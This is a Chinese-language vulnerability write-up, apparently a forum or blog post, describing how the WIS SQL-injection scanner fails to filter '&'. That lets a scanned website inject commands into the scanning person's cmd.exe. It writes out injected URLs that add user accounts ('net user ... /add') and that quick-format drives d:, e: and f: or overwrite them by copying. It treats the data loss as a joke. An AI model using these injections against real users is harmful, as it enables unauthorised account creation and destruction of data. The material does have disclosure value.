小榕的WIS漏洞补充篇及利用篇漏洞发现者 : ALLyeSNO http://blog.csdn.net/freexploit/
WIS是小榕开发的SQL漏洞扫描工具
WIS对&字符未做严格过滤 导致可以 人为的创建含&字符的语句 在扫描者机子上执行任意代码
&net user allyesno 12345 /add
不是wis&net user allyesno 12345 /add
而是 使用 wis对 某一个网站进行扫描的时候
我们可以利用wis未过滤& 在被扫描的网站代码 例如asp代码中嵌入&net user administrator 12345 /add
当wis对它进行扫描的时候 结果如下
sqlbug?=sql&net">http://www.target.com/sqlbug?=sql&net user administrator 12345 /add
本地执行wis &net user allyesno 12345 /add 是肯定可以的 因为&是把两段指令连在一起执行
下面是喜欢忧伤写的一篇关于这个漏洞的文章,本来他说要好好写下再发,可我等不及了
作者:喜欢忧伤 http://www.powers.com.cn
问题的产生
1.&用来连接两条Dos命令,就是cmd.exe 会把&前后的命令分开两句来执行
2.wis这个工具没有过滤&
所以在
你用这个工具去扫描别人的时候就会出问题
正常情况下是
你的cmd.exe下执行wis http://www.xx.com/?xx.asp?id=123
没什么问题
如果碰到
http://www.xx.com/?xx.asp?id=123&net user test 123 /add
的时候就变成你的cmd.exe执行
wis http://www.xx.com/?xx.asp?id=123&net user test 123 /add
看清楚了
这个语句中有一个&,所以相当于
wis http://www.xx.com/?xx.asp?id=123
net user test 123 /add
也就是在你的机器上执行了两个语句。。。
wis http://www.xx.com/?xx.asp?id=123
没问题,执行后半句的时候就来问题了,增加用户了
那你机器上当然添加了一个帐号了
当然, 还有更狠的:
http://www.xxx.com/a.asp?id=1&format d: /q
http://www.xxx.com/a.asp?id=1&format e: /q
http://www.xxx.com/a.asp?id=1&format f: /q
......
http://www.xxx.com/a.asp?id=1© c:\ d:\
http://www.xxx.com/a.asp?id=1© c:\ e:\
http://www.xxx.com/a.asp?id=1© c:\ f:\
.....
d,e,f,...资料很可能全没有了,。哈哈